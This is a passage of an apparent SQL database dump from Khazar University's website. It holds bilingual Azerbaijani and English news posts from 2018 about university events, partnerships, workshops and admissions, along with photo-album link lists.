width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>15</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n </tbody></table>'),(5194,3015,'az','Hamlet İsaxanlının şeirinə yazılmış musiqiyə klip çəkildi','XəzərNews.az xəbər verir ki, muğam ustası, xalq artisti Alim Qasımov...','<p><strong><em>XəzərNews.az</em></strong> xəbər verir ki, muğam ustası, xalq artisti Alim Qasımov “Nə olaydı” mahnısına çəkilmiş klipin təqdimatı&nbsp;keçirilmışdır. Mahnının sözləri Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya, bəstəsi Alim Qasımovun özünə məxsusdur. Klipin ideyasını və montaj işlərini Nigar Fərmanova yerinə yetirmişdir. Musiqi tərtibatı Fərahim Qulubəyova məxsusdur.</p><p>Bu link vasitəsilə daha geniş məlumat almaq və klipi izləmək olar:</p><p> <a href=\"https://xezernews.az/?c=news&amp;id=35885\">https://xezernews.az/?c=news&amp;id=35885</a>.</p>'),(5195,3015,'en','A clip made for music with lyrics by Hamlet Isakhanli','XəzərNews.az informs that there was a presentation of a clip of a piece...','<p><strong><em>XəzərNews.az</em></strong> informs that there was a presentation of a clip of a piece of music “If only” (“Nə olaydı”) by Alim Gasimov, a mugham master and People\'s Artist. The lyrics of the music belongs to Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and composition belongs to Alim Gasimov. The concept and montage is by Nigar Farmanova. Music arrangement belongs to Farahim Gulubayov.</p><p>A link for further information and a clip:</p><p><a href=\"https://xezernews.az/?c=news&amp;id=35885\">https://xezernews.az/?c=news&amp;id=35885</a>.<br></p>'),(5197,3017,'az','Xəzər Universitetinin əcnəbi tələbələri Şamaxı şəhərində Azərbaycanlıların soyqırımı anım tədbirində','2018-ci il fevralın ayının 27-də Təhsil Nazirliyinin təşkilatçılığı ilə əcnəbi tələbələr üçün Şamaxı...','<p>2018-ci il fevralın ayının 27-də Təhsil Nazirliyinin təşkilatçılığı ilə əcnəbi tələbələr üçün Şamaxı şəhərində “Azərbaycanlıların soyqırımı: yüz ilin yaddaşında” mövzusunda tədbir keçirilib. Bu tədbir Təhsil Nazirliyinin Azərbaycanın ali məktəblərində təhsil alan əcnəbilər tələbələr üçün təşkil olunan silsilə tədbirlərdən birincisi idi.</p><p>Tədbirdə təhsil nazirinin müavini Firudin Qurbanov, Şamaxı Rayon İcra Hakimiyyətinin başçısı Asif Ağayev, ictimaiyyət nümayəndələri, KİV təmsilçiləri, universitet nümayəndələri və əcnəbi tələbələr iştirak edib. Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsinin asssistenti Elxan Kasimov və universitetdə təhsil alan Zimbabve, Əfqanıstan və İndoneziyadan olan əcnəbi tələbələr tərəfindən təmsil olunmuşdur.</p><p>Tədbir iştirakçıları ilk öncə Şamaxı soyqırımı qurbanlarının xatirəsinə ucaldılmış abidəni ziyarət ediblər. Daha sonra tədbir iştirakçıları 1918-ci ildə Şamaxı soyqırımı zamanı ən böyük qırğınların törədildiyi Cümə məscidinə baş çəkiblər. Tədbir Şamaxı şəhəri İncəsənət Təhsili Mərkəzində davam etdirilib. Tədbir çərçivəsində əcnəbi tələbələr Azərbaycanın tarixi ilə yaxından tanış olmaq imkanını əldə etdilər.</p>'),(5198,3017,'en','International students of Khazar University visit commemoration ceremony of genocide of Azerbaijanis in Shamakhi','A ceremony entitled “Genocide of Azerbaijanis: in memory of a century” was organized for international students in Shamakhi...','<p>A ceremony entitled “Genocide of Azerbaijanis: in memory of a century” was organized for international students in Shamakhi city by the Ministry of Education, on February 27, 2018. This ceremony was the first one out of the series of events to be organized by the Ministry of Education for international students of higher educational institutions of Azerbaijan.</p><p>Firudin Gurbanov, Deputy Minister of Education, Asif Aghayev, Head of Executive Power of Shamakhi city, public and media representatives, staff members of universities and international students participated in the ceremony. Elkhan Kasimov, assistant of Department of International Relations of Khazar University, as well as students from Zimbabwe, Afghanistan and Indonesia represented Khazar University at the ceremony.</p><p>Firstly, the participants visited a monument erected in honor of victims of Shamakhi genocide. Then the participants visited Juma mosque where the biggest massacres were committed during the Shamakhi genocide in 1918. Afterwards, the ceremony continued in Shamakhi Art Education Center. International students became closely familiar with Azerbaijan history within the ceremony.</p>'),(5199,3018,'az','Grodno Yanka Kupala Dövlət Universiteti ilə görüş','2018-ci il martın 5-də Xəzər Universitetinin “Neftçilər” kampusunda Yanka Kupala Dövlət Universitetinin...','<p>2018-ci il martın 5-də Xəzər Universitetinin “Neftçilər” kampusunda Yanka Kupala Dövlət Universitetinin (Belarusiya) nümayəndəsi ilə görüş keçirildi.</p><p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs Yanka Kupala Dövlət Universitetinin tədris işləri üzrə prorektoru Dr. Yury Bialykh ilə görüşdü. Görüşdə Tədris işləri üzrə prorektor professor Məhəmməd Nuriyev və Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova da iştirak edirdilər.</p><p>Görüş iştirakçıları universitetlər arasında qarşılıqlı maraq doğuran sahələrdə mümkün əməkdaşlığı müzakirə etdilər.</p>'),(5200,3018,'en','Meeting with Yanka Kupala State University of Grodno','On March 5, 2018, a meeting with a representative of Yanka Kupala State University...','<p>On March 5, 2018, a meeting with a representative of Yanka Kupala State University (Belarus) took place at Neftchiler campus of Khazar University.</p><p>Dr. Hassan Niknafs, Rector of Khazar University University met with Dr. Yury Bialykh, the Vice-Rector for Academic Affairs of Yanka Kupala State University.</p><p>Prof. Mahammad Nuriyev, Vice-Rector for Academic Affairs and Turan Jafarova, Director of International Affairs also participated in the meeting.</p><p>Participants of the meeting discussed possible cooperation between the universities in the areas of mutual interest.</p>'),(5201,3019,'az','“Xəzər”də bayram şənliyi','2018-ci il martın 7-də Xəzər Universitetində 8 Mart - Beynəlxalq Qadınlar Günü münasibətilə...','<p>2018-ci il martın 7-də Xəzər Universitetində 8 Mart - Beynəlxalq Qadınlar Günü münasibətilə bayram şənliyi keçirildi. Tədbirdə universitetin rəhbərliyi, əməkdaşlar və qonaqlar iştirak edirdilər.</p><p>Universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, rektor Hassan Niknafs, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, İngilis dili və ədəbiyyatı departamentinin baş müəllimi Firəngiz Nəsirova, şərqşünas alim Fərda Əsədov və digərləri çıxış edərək, universitetin qadın əməkdaşlarını bayram münasibətilə təbrik etdilər, onlara əmək və ailə həyatında uğurlar arzuladılar.</p><p>İştirakçılara universitetin Musiqi və incəsənət departamentinin hazırladığı konsert proqramı təqdim olundu.</p>'),(5202,3019,'en','Celebration at Khazar University','A ceremony, dedicated to March 8 - International Women\'s Day, was organised at Khazar University...','<p>A ceremony, dedicated to March 8 - International Women\'s Day, was organised at Khazar University on March 7, 2018. University administration, staff members as well as guests participated at the ceremony.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, Jabir Khalilov, Dean of the School of Humanities and Social Sciences, Firangiz Nasirova, Senior Instructor of the Department of English Language and Literature, Farda Asadov, Orientalist, and other staff members delivered speeches and expressed best wishes for female staff members of the university.</p><p>Department of Music and Fine Arts of the university presented a concert for the participants.</p>'),(5203,3020,'az','UNISMA (İndoneziya) nümayəndələri Xəzər Universitetində','2018-ci il martın 6-da Xəzər Universitetinin “Neftçilər” kampusunda Malang...','<p>2018-ci il martın 6-da Xəzər Universitetinin “Neftçilər” kampusunda Malang İslam Universitetinin (UNISMA) nümayəndələri ilə görüş keçirildi.</p><p>1981-ci ildə təsis edilən UNISMA İndoneziya Tədqiqat və Texnologiya Nazirliyi və Diyanət İşləri Nazirliyi nəzdində fəaliyyət göstərən və 10 fakültəsində müxtəlif proqramlar təklif edən bir ali təhsil müəssisəsidir.</p><p>Görüş İndoneziya Respublikasının Azərbaycandakı səfiri Dr. H.Husnan Bey Fananie-in təşəbbüsü ilə təşkil olunmuşdu və iki ölkənin ali təhsil müəssisələri arasında əlaqələrin möhkəmləndirilməsinə yönəlmişdir. Görüşdə İndoneziya universitetini UNISMA rektoru professor Dr. H.Masykuri Bakri, Akademik və əməkdaşlıq məsələləri üzrə prorektor professor Dr. H.Junaidi Mistar və Əməkdaşlıq şöbəsinin rəhbəri İmam Wahyudi Karimullah, İndoneziya Respublikasının Səfirliyini isə səfir cənab H.Husnan Fananie, birinci katib xanım Anggraeni Widiastuti və tərcüməçi Pərvanə Kərimova təmsil edirdilər.</p><p>Xəzər Universitetindən görüşdə rektor Dr. Hassan Niknafs, Tədris işləri üzrə prorektor professor Məhəmməd Nuriyev və Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova iştirak edirdilər.</p><p>Görüş hər iki universitetin təqdimatı və qarşılıqlı faydalı tərəfdaşlıq sahələrinin müzakirəsi ilə başlandı. Tərəflər təbliğat materialları və hədiyyələri təqdim etdilər. Görüşün sonunda tərəflər arasında anlaşma memorandumu imzalandı.</p>'),(5204,3020,'en','Representatives of UNISMA (Indonesia) at Khazar University','On March 6, 2018, a meeting with the representatives of the Islamic University of Malang...','<p>On March 6, 2018, a meeting with the representatives of the Islamic University of Malang (UNISMA) took place at Neftchiler campus of Khazar University.</p><p>Established in 1981, UNISMA is a higher education institution under the Ministry of Research and Technology of the Republic of Indonesia and the Ministry of Religious Affairs that offers various programs in its ten faculties.</p><p>The meeting was organized on the initiative of Dr. H. Husnan Bey Fananie, Ambassador of the Republic of Indonesia to Azerbaijan and aimed at strengthening ties between higher education institutions of the two countries. Participants of the meeting included Prof. Dr. H. Masykuri Bakri, Rector of UNISMA, Prof. Dr. H. Junaidi Mistar, Vice-Rector for Academic and Collaboration Affairs and Mr. Imam Wahyudi Karimullah, Head of Collaboration Division. The Embassy of the Republic of Indonesia was represented by the Ambassador Dr. H. Husnan Bey Fananie, First Secretary Ms. Anggraeni Widiastuti, and translator Ms. Parvana Karimova.</p><p>Khazar University participants included Dr. Hassan Niknafs, Rector, Prof. Mahammad Nuriyev, Vice-Rector for Academic Affairs and Ms. Turan Jafarova, Director of International Affairs.</p><p>The meeting started with presentations of both universities and discussion of the areas of mutually beneficial partnership. Promotional materials and gifts were exchanged. A Memorandum of Understanding was signed at the end of the meeting.</p>'),(6364,3616,'en','An article by an associate of the Department of Languages and Cultures published','An article entitled “Azerbaijani poets in India (during the period of the Safavid)” by Assoc...','<p>An article entitled “<em>Azerbaijani poets in India (during the period of the Safavid)</em>” by Assoc. Prof Zivar Huseynli-Baylan, PhD in Philology and Coordinator of the Department of Languages and Cultures of Khazar University, was published in the journal “Philological Issues”, number 13, 2018, (p. 271-287), recommended journal of Periodical Scientific Publications of the Higher Attestation Commission under the President of the Republic of Azerbaijan. The article provides information about the poets who moved to India during the period of the Safavid for various reasons. The subject matter of the article is a history of literature, memoirs, articles and works about a literary environment in India.</p><p>The article is available in PDF format through the following <a href=\"/files/letters/zivar_huseynli_toplu.pdf\" style=\"font-weight:bold\">link</a>.</p>'),(5205,3021,'az','İqtisadiyyat və menecment fakültəsi doktorantura tələbələrinin növbəti elmi seminarı təşkil olundu','2018-ci il martın 5-də Xəzər Universitetinin İqtisadiyyat və menecment fakültəsi doktorantura tələbələrinin...','<p>2018-ci il martın 5-də Xəzər Universitetinin İqtisadiyyat və menecment fakültəsi doktorantura tələbələrinin növbəti elmi seminarı baş tutdu. Seminarın təşkil olunmasının başlıca məqsədi Ph.D. tələbələrinin apardıqları tədqiqatların nəticələrini və tədqiqatçıların təkliflərini universitet əməkdaşları ilə bölüşmək və nəticələri müzakirə etmək idi. Tədbirdə fakültənin doktorantları tərəfindən “Səhiyyə müəssisələrində insan resurslarının idarə edilməsi mexanizminin təkmilləşdirilməsi”, “Xəzər regionu ölkələrinin Aİ qaz təchizatı təhlükəsizliyinə təsirinin qiymətləndirilməsi” və “İqtisadi inkişaf və əməkdaşlıq perspektivləri: Xəzər regionu ölkələri” mövzularında təqdimatlar oldu.</p><p>Fakültə əməkdaşları Ph.D. tələbələrinin işlərinə rəylərini bildirməklə yanaşı, onlara tədqiqatlarında sistemli və ardıcıl irəliləyişlər əldə etmələri üçün motivasiya verdilər.</p>'),(5581,3212,'az','1-ci illik 3 Dəqiqə Tezis Təqdimatı müsabiqəsi olacaq','2018-ci il dekabrın 14-də Xəzər Universiteti 1-ci illik 3 Dəqiqə Tezis Təqdimatı müsabiqəsi...','<p>2018-ci il dekabrın 14-də     Xəzər Universiteti 1-ci illik 3 Dəqiqə Tezis Təqdimatı  müsabiqəsi (3DTT) keçirəcək və bunun üçün bütün doktorant və magistr tələbələrini tədqiqatlarını təqdim etməyə dəvət edir.</p><p>3DTT ilk dəfə 2008-ci ildə Kvinsland Universitetində (Avstraliya) keçirilmişdi və artıq dünyanın&nbsp;bir çox universitetlərinin qəbul etdiyi beynəlxalq müsabiqənin inkişafına səbəb olmuşdur. Bu müsabiqə tələbələrə əyləncəli və rəqabətli olaraq, mütəxəssislər və qeyri-mütəxəssislər qarşısında öz tədqiqatlarını təqdim etməyə və elmi kommunikasiyalarını artırmağa kömək edəcək. Tələbələr üçün bunun bir çox üstünlükləri var. Bu, tələbələrin ictimai danışıq vərdişlərinə, tədqiqat kommunikasiyasına, araşdırma ünsiyyətinə, tələbə şəbəkəsinin yaradılmasına, onların peşəkarlıq qabiliyyətinin inkişafına və beləliklə, gələcək karyerasına kömək edəcək.</p><p>Xəzər Universiteti Ph.D. və Magistr Tələbə Birliyi 2018-ci il dekabrın 14-də   keçiriləcək illik 3DTT müsabiqəsinə qədər 3DTT üzrə tələbələrə ardıcıl təlimlər təşkil edəcək.</p><p>Hər kəs dəvətlidir. Daha geniş məlumatı Ph.D. və Magistr Tələbə Birliyindən almaq olar.</p><p><a href=\"https://docs.google.com/forms/d/1yz24oQCpMucXXZ2fORV-ibTLj-WfkL9PIoc8s2UYP9c/viewform?edit_requested=true\">https://docs.google.com/forms/d/1yz24oQCpMucXXZ2fORV-ibTLj-WfkL9PIoc8s2UYP9c/viewform?edit_requested=true</a>.</p>'),(5206,3021,'en','Next workshop for PhD students of School of Economics and Management','School of Economics and Management of Khazar University launched a doctoral workshop...','<p>School of Economics and Management of Khazar University launched a doctoral workshop series on March 5, 2018.</p><p>The goal of the workshop was to provide PhD students with the opportunity to discuss their research findings/proposals with their colleagues and senior faculty members. The workshop focused on in-depth discussions of PhD students’ progress in their research on the topics “Improving the human resources management in health organizations”, “Evaluation of the impact of Caspian region countries on EU gas supply security” and “Economic development and prospects for cooperation: the case of Caspian region countries”.</p><p>Senior faculty members provided PhD students with their valuable feedbacks and motivated them for systematic and consistent progress in their research.</p>'),(5207,3022,'az','Doktorantura və Magistratura Tələbə Birliyinin növbəti seminarı olacaq','2018-ci il martın 9-u saat 16:00-da Xəzər Universitetinin “Neftçilər” kampusu yeni təlim...','<p>2018-ci il martın 9-u saat 16:00-da Xəzər Universitetinin “Neftçilər” kampusu yeni təlim otağında universitetin Doktorantura və Magistratura Tələbə Birliyinin növbəti seminarı olacaq. Budəfəki seminar “Humanitar elmlərdə istifadə olunan tədqiqat metodları” mövzusuna həsr olunur. Seminarda tədqiqat metodlarında istifadə olunan keyfiyyət və kəmiyyət yanaşmalarından bəhs olunacaq və nümunələr üzərində müzakirələr aparılacaq.</p><p>Seminarı Xəzər Universiteti Psixoloji Xidmət Mərkəzinin direktoru, yerli və xarici jurnallarda akademik məqalələrin müəllifi Mələk Kərimova verəcək.</p><p>Maraqlananlar dəvət olunurlar.</p>'),(5208,3022,'en','Workshop of PhD and Master’s Students Union','PhD and Master’s Students Union will organize next workshop in a new...','<p>PhD and Master’s Students Union will organize next workshop in a new training room, “Neftchiler” building, at 16:00, March 9, 2018. This workshop will focus on Research Methods in Humanities. Participants will discuss qualitative and quantitative research methods and refer to samples of empirical studies.</p><p>Malak Karimova, Director of Psychological Service Centre of Khazar University, who has published several research papers in local and international journals, will run the workshop.</p><p>Everybody is welcome to participate.</p>'),(5209,3023,'az','Xəzər Universitetinə qəbulda yeni imkanlar yaradılır','Abituriyentlərin nəzərinə...','<p>Abituriyentlərin  nəzərinə!</p><p>SAT imtahanlarında 1000 və daha çox bal toplayanlar (riyaziyyatdan 560 və ingilis dilindən 440-dan az olmamaq şərti ilə) və TOEFL (75-dən az olmamaq şərti ilə) ya da IELTS imtahanını (6-dan az olmamaq şərti ilə) verənlər Dövlət İmtahan Mərkəzində imtahan vermədən Xəzər Universitetinə qəbul ola bilərlər.</p>\r\n<p>Əlavə məlumat üçün bu vasitələrlə əlaqə saxlamaq olar:</p><p><strong>Tel.</strong>: (050) 323-93-13; (012) 421 10 93 (231);&nbsp;</p><p><strong>E-mail</strong>: <a href=\"mailto:aamirbayli@khazar.org\">aamirbayli@khazar.org</a>;&nbsp;</p><p><strong>Sayt</strong>: <a href=\"http://www.khazar.org\">www.khazar.org</a>.</p>'),(5210,3023,'en','New Admission Opportunities at Khazar University','To the attention of prospective students...','<p>To the attention of prospective students!</p>\r\n<p>Students with SAT score of 1000 and more (provided Maths being over 560 and English over 440), TOEFL (score more than 75) and IELTS (score more than 6) scores can enter Khazar University without passing exam at State Examination Center.</p>\r\n<p>For further information:</p><p style=\"background:undefined \"><strong>Phone</strong>: (050) 323-93-13; (012) 421 10 93 (231);&nbsp;</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:aamirbayli@khazar.org\">aamirbayli@khazar.org</a>;&nbsp;</p><p><strong>Website</strong>:&nbsp;<a href=\"http://www.khazar.org/\">www.khazar.org</a>.</p>'),(5211,3024,'az','Xəzər Universitetinin əcnəbi tələbələri Gəncə şəhərində Azərbaycan Xalq Cümhuriyyətinin 100 illiyinə həsr olunmuş tədbirdə','2018-ci il martın 6-da Xəzər Universitetinin əcnəbi tələbələri və Beynəlxalq Əlaqələr Şöbəsinin...','<p>2018-ci il martın 6-da Xəzər Universitetinin əcnəbi tələbələri və Beynəlxalq Əlaqələr Şöbəsinin nümayəndəsi Təhsil Nazirliyinin təşkilatçılığı ilə Gəncə şəhərində Azərbaycan universitetlərindən olan əcnəbi tələbələr üçün təşkil olunmuş tədbirdə iştirak etdilər.</p><p>Tədbirdə Təhsil nazirinin müavini Firudin Qurbanov, Gəncə Şəhər İcra Hakimiyyəti başçısının birinci müavini Elnur Rzayev, ictimaiyyət nümayəndələri, KİV təmsilçiləri, ali təhsil müəssisələrinin nümayəndələri və əcnəbi tələbələr iştirak edirdilər. Xəzər Universitetini Beynəlxalq Əlaqələr Şöbəsinin assistenti Elxan&nbsp;Kasimov və universitetdə təhsil alan Zimbabve və Nigeriyadan olan əcnəbi tələbələr təmsil edirdilər. Öncə tədbir iştirakçıları Azərbaycan Dövlət Aqrar Universitetində Azərbaycan Xalq Cümhuriyyəti güşəsi ilə tanış oldular. Daha sonra Azərbaycan Dövlət Aqrar Universitetində təşkil olunan tədbirdə tarix elmləri doktoru, professor Solmaz Rüstəmova-Tohidinin “Milli kimlik sualından milli dövlətçiliyə: müstəqilliyin çətin yolu” adlı mühazirəsi dinlənildi. Mühazirədə əsasən Azərbaycan Xalq Cümhuriyyətinin tarixindən bəhs olunurdu.</p><p>Mühazirədən sonra qonaqlar Gəncə şəhərinin bir çox görməli yerlərini ziyarət etdilər. Əcnəbi tələbələr əsasən Gəncədə yerləşən Şah Abbas məscidi, Cavad xan türbəsi, Çökək hamam, Gəncə Dövlət Filarmoniyası ilə tanış oldular. Görüşün sonunda əcnəbi tələbələr Azərbaycan şairi olan Nizami Gəncəvinin məqbərəsi ziyarət etdilər və onun haqqında geniş məlumatı dinlədilər.</p>'),(4793,2849,'az','“Xəzər Xəbər” jurnalının dekabr nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2017-ci il dekabr nömrəsi (368-ci nömrə) Xəzər Universitetinin...','<p>“Xəzər Xəbər” jurnalının 2017-ci il dekabr nömrəsi (368-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.</p><p>Jurnalı bu linkdə də oxuya bilərsiniz:</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(4795,2848,'en','Khazar University students visited a Child Psychoneurological Center','On January 12, 2018, the first year students of the School of Education, the School of Engineering and Applied Sciences...','<p>On January 12, 2018, the first year students of the School of Education, the School of Engineering and Applied Sciences and the School of Economy and Management visited the Child Psychoneurological Centre, located in N. Narimanov district.</p><p>During the meeting, Khazar University volunteer students presented an entertainment program as well as various gifts to the children.</p>'),(4817,2851,'az','“Dünya” məktəbinin şagirdləri üçün “Yeni Çin iliniz mübarək” adlı tədbir baş tutdu','2018-ci il yanvarın 17-də Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə “Dünya” məktəbinin şagirdləri üçün “Çin guşəsi” layihəsi çərçivəsində...','<p>2018-ci il yanvarın 17-də Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə “Dünya” məktəbinin şagirdləri üçün “Çin guşəsi” layihəsi çərçivəsində “Yeni Çin iliniz mübarək” adlı tədbir keçirildi.</p><p>Tədbiri giriş sözü ilə Xəzər Universitetinin KİM-in direktor müavini Aytac Misgərli açaraq, “Çin guşəsi” layihəsi haqqında qonaqları məlumatlandırdı.</p><p>“Dünya” Məktəbinin Tədris işləri üzrə direktor müavini (rus bölməsi üzrə) Leyla Cəbrayılova BDU-nin nəzdindəki Konfutsi İnstitutunun dekanı Luo Xiaozhini və bütün müəllim heyətini salamladı, onlara əməkdaşlıq üçün təşəkkürünü bildirdi.</p><p>Daha sonra Xəzər Universitetinin KİM-nin əməkdaşı Samirə Orucova şagirdlərə tədbirdə göstəriləcək sənət nümunələri haqqında məlumat verdi və onlara praktik işlərdə aktiv olmağı tövsiyə etdi. Bütün iştirakçılar tədbirin keçirilməsindən məmnun oldular və təşkilatçılara xüsusi minnətdarlıq bildirildi.</p><p>Sonda iştirak edən bütün şagirdlər xüsusi hazırlanmış hədiyyələr ilə mükafatlandırıldılar.</p>'),(4822,2826,'en','February','February',''),(4823,2826,'az','Fevral','Fevral','<div><div><div><div><div><div><div><div><div>28.02.2018 kariyera mərkəzi :&nbsp;\'CV&nbsp;hazırlanması\'&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1896501930360203\">FOTO</a>)<br></div><div><div>27.02.2018 Arif Babayevin 80 illiyi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1895596430450753\">FOTO</a>)</div></div><div>27.02.2018 Israil səfirinin Tələbələr ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1895431173800612\">FOTO</a>)</div></div><div><div>27.02.2018 Israil səfirinin Hamlet müəllimnən görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1895430843800645\">FOTO</a>)</div></div><div>23.02.2018 Hamlet İsaxanlı ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1894400427237020\">FOTO</a>)</div></div><div><div>22.02.2018 Huawei Şirkətinin seminarı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1889779057699157\">FOTO</a>)</div></div><div>21.02.2018 VTB Azərbaycan- bank rəhbəri ilə görüş&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1888384511171945\">FOTO</a>)<br></div><div>21.02.2018 Qazaxıstanın \"Nazarbeyev Universiteti\" rəhbəri ilə görüş&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1888339484509781\">FOTO</a>)<br></div><div>16.02.2018 İntervyu praktikası&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1882614615082268\">FOTO</a>)<br></div><div>16.02.2018 Kağıt kabir filmi&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1882548868422176\">FOTO</a>)<br></div><div>16.02.2018 Mevlana, məlumat sessiyası&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1882543358422727\">FOTO</a>)<br></div><div>13.02.2018  Salyan şəhərində məntəqənin təmizlənməsi layihəsi ictimai təqdimatı&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1878957402114656\">FOTO</a>)<br></div><div>08.02.2018 Potensial Direktorlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1874230252587371\">FOTO</a>)</div></div><div>07.02.2018 Doktorantura imtahanlari (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1871975689479494\">FOTO</a>)</div></div><div>05.02.2018 Doktoranturaya qəbul imtahanı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1869849956358734\">FOTO</a>)</div></div><div>02.02.2018 Potelsial Direktorlar 8 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1871056599571403\">FOTO</a>)</div></div><div>02.02.2018 Rafiq Əliyevin kitabı yaradıcılığı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1871050709571992\">FOTO</a>)</div></div><div>01.02.2018 Potensial direktorlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1865707170106346\">FOTO</a>)</div></div><div>01.02.2018 M.Abbasova və İ.Tağıyevin elmi işləri ilə bağlı təqdim (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1865555813454815\">FOTO</a>)</div>'),(4824,2827,'az','Mart','Mart','<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div>30.03.2018 Erasmus + (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1936766699667059\">FOTO</a>)</div></div><div>30.03..2018 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1933621626648233\">FOTO</a>)</div></div><div>30.03.2018 Mərkəzləşdirilmiş kitabxanada Soyqrım tədbiri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1933524996657896\">FOTO</a>)</div></div><div>30.03.2018 Erasmus + (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1933502806660115\">FOTO</a>)</div></div><div>30.03.2018&nbsp;\"Miqrasiya təhsilinin təşviqi\" Erasmus + (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1933312850012444\">FOTO</a>)</div></div><div>29.03.2018&nbsp;&nbsp;Cabir Müəllim Ad Gününüz Mübarək! 60 İL! (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1933478266662569\">FOTO</a>)  <br></div><div>29.03.2018 Təbii Ehtiyat Sərvətinin Davamlı Rifaha Çevrilməsinin (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1932216123455450\">FOTO</a>)</div></div><div>29.03.2018 AESOP təlimi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1932307523446310\">FOTO</a>)</div></div><div>28.03.2018 PETRONAS (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1931027096907686\">FOTO</a>)</div></div><div>19.03.2018 Xəzərdə Novruz şənliyi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1920209957989400\">FOTO</a>)</div></div><div>16.03.2018 Xalq Cümhuriyətinin 100 illik yubileyi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1916315668378829\">FOTO</a>)</div></div><div>16.03.2018 Etnoqrafiya.Novruz şənliyi. (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1916233468387049\">FOTO</a>)</div></div><div><embed 